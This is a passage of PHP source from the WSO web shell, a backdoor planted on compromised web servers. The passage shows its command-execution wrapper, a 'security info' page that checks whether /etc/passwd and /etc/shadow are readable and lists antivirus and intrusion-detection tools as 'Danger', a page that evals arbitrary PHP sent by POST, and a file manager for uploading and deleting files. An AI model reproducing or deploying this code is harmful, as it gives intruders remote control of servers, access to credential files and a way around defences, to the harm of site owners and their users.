'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } function wsoEx($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function wsoViewSize($s) { if (is_int($s)) $s = sprintf("%u", $s); if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function wsoPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; } function wsoPermsColor($f) { if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; } function wsoScandir($dir) { if(function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function wsoWhich($p) { $path = wsoEx('which ' . $p); if(!empty($path)) return $path; return false; } function actionSecInfo() { wsoHeader(); echo '<h1>Server security information</h1><div class=content>'; function wsoSecParam($n, $v) { $v = trim($v); if($v) { echo '<span>' . $n . ': </span>'; if(strpos($v, "\n") === false) echo $v . '<br>'; else echo '<pre class=ml1>' . $v . '</pre>'; } } wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); if(function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); wsoSecParam('Open base dir', @ini_get('open_basedir')); wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; wsoSecParam('Supported databases', implode(', ', $temp)); echo '<br>'; if($GLOBALS['os'] == 'nix') { wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); wsoSecParam('OS version', @file_get_contents('/proc/version')); wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo '<br>'; $temp=array(); foreach ($userful as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Downloaders', implode(', ',$temp)); echo '<br/>'; wsoSecParam('HDD space', wsoEx('df -h')); wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { $temp = ""; for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { $uid = @posix_getpwuid($_POST['p2']); if ($uid) $temp .= join(':',$uid)."\n"; } echo '<br/>'; wsoSecParam('Users', $temp); } } } else { wsoSecParam('OS Version',wsoEx('ver')); wsoSecParam('Account Settings',wsoEx('net accounts')); wsoSecParam('User Accounts',wsoEx('net user')); } echo '</div>'; wsoFooter(); } function actionPhp() { if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); ob_start(); eval($_POST['p1']); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); wsoHeader(); if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace(array ( '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU', ), array ( '', '.e, .v, .h, .h th {$1}', '' ), $tmp); echo str_replace('<h1','<h2', $tmp) .'</div><br>'; } echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; if(!empty($_POST['p1'])) { ob_start(); eval($_POST['p1']); echo htmlspecialchars(ob_get_clean()); } echo '</pre></div>'; wsoFooter(); } function actionFilesMan() { if (!empty ($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']); if(!empty($_POST['p1'])) { switch($_POST['p1']) { case 'uploadFile': if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload!"; break; case 'mkdir': if(!@mkdir($_POST['p2'])) echo "Can't create!"; break; case 'delete': function deleteDir($path) { $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == "..") || (basename($item) == ".") ) continue; $type = filetype($item); if ($type == "dir") deleteDir($item); else @unlink($item); } closedir($dh); @rmdir($path); } if(is_array(@$_POST['f'])) foreach($_POST['f'] as $f) { if($f == '..') continue; $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } break; case 'paste': break; default: break; } } wsoHeader();